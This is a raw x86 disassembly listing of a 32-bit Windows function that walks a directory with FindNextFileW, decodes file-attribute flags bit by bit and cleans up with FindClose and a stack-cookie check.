cmp dword [ebp - 0x4a0], 3
mov dword [ebp - 0x418], edi
jne 0x41d61c
mov ecx, 0x4fc070
mov edx, 3
sub eax, ecx
mov dword [ebp - 0x428], eax
nop dword [eax + eax]
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x41d61c
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41d600
jmp 0x41d67f
xor eax, eax
mov dword [ebp - 0x440], 0
mov word [ebp - 0x450], ax
lea ecx, [ebp - 0x450]
mov eax, dword [ebp - 0x1c]
push 0xffffffffffffffff
add eax, 0xfffffffc
mov dword [ebp - 0x43c], 7
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.00438090
or edi, 0x20000040
lea ecx, [ebp - 0x450]
mov edx, 0x51fdb8
mov dword [ebp - 0x41c], edi
call fcn.0043a670
test al, al
jne 0x41d67f
mov byte [ebp - 0x421], al
jmp 0x41d686
mov esi, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
mov eax, dword [ebp - 0x41c]
test al, 0x40
je 0x41d6aa
and eax, 0xffffffbf
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x41c], eax
call fcn.004049c0
mov eax, dword [ebp - 0x41c]
test al, 0x20
je 0x41d6c8
and eax, 0xffffffdf
lea ecx, [ebp - 0x4b0]
mov dword [ebp - 0x41c], eax
call fcn.004049c0
mov eax, dword [ebp - 0x41c]
test al, 0x10
je 0x41d6e6
and eax, 0xffffffef
lea ecx, [ebp - 0x498]
mov dword [ebp - 0x41c], eax
call fcn.004049c0
mov eax, dword [ebp - 0x41c]
test al, 8
je 0x41d704
and eax, 0xfffffff7
lea ecx, [ebp - 0x480]
mov dword [ebp - 0x41c], eax
call fcn.004049c0
mov eax, dword [ebp - 0x41c]
test al, 4
je 0x41d722
and eax, 0xfffffffb
lea ecx, [ebp - 0x468]
mov dword [ebp - 0x41c], eax
call fcn.004049c0
mov eax, dword [ebp - 0x41c]
test al, 2
je 0x41d740
and eax, 0xfffffffd
lea ecx, [ebp - 0x58c]
mov dword [ebp - 0x41c], eax
call fcn.004049c0
mov eax, dword [ebp - 0x41c]
test al, 1
je 0x41d758
and eax, 0xfffffffe
lea ecx, [ebp - 0x574]
mov dword [ebp - 0x41c], eax
call fcn.004049c0
test esi, esi
jns 0x41d76d
lea ecx, [ebp - 0x55c]
and esi, 0x7fffffff
call fcn.004049c0
test esi, 0x40000000
je 0x41d786
lea ecx, [ebp - 0x544]
and esi, 0xbfffffff
call fcn.004049c0
test esi, 0x20000000
je 0x41d79f
lea ecx, [ebp - 0x5a4]
and esi, 0xdfffffff
call fcn.004049c0
test esi, 0x10000000
je 0x41d7b8
lea ecx, [ebp - 0x514]
and esi, 0xefffffff
call fcn.004049c0
test esi, 0x8000000
je 0x41d7d1
lea ecx, [ebp - 0x52c]
and esi, 0xf7ffffff
call fcn.004049c0
test esi, 0x4000000
je 0x41d7ea
lea ecx, [ebp - 0x4cc]
and esi, 0xfbffffff
call fcn.004049c0
test esi, 0x2000000
je 0x41d803
lea ecx, [ebp - 0x4e4]
and esi, 0xfdffffff
call fcn.004049c0
mov dword [ebp - 4], 5
test esi, 0x1000000
je 0x41d823
lea ecx, [ebp - 0x4fc]
and esi, 0xfeffffff
call fcn.004049c0
cmp byte [ebp - 0x421], 0
jne 0x41d840
lea ecx, [ebp - 0x2c]
call fcn.004169e0
cmp al, 1
je 0x41d840
lea ecx, [ebp - 0x2c]
call fcn.0040f5e0
mov edi, dword [ebp - 0x41c]
lea eax, [ebp - 0x35c]
push eax
push dword [ebp - 0x4b4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x41b0b1
push dword [ebp - 0x4b4]
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x2c]
call fcn.004049c0
lea ecx, [ebp - 0x5c]
call fcn.00431ac0
lea ecx, [ebp - 0x44]
call fcn.00431ac0
lea ecx, [ebp + 8]
call fcn.004049c0
lea ecx, [ebp + 0x20]
call fcn.004049c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004905bb
mov esp, ebp
pop ebp
ret
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
int3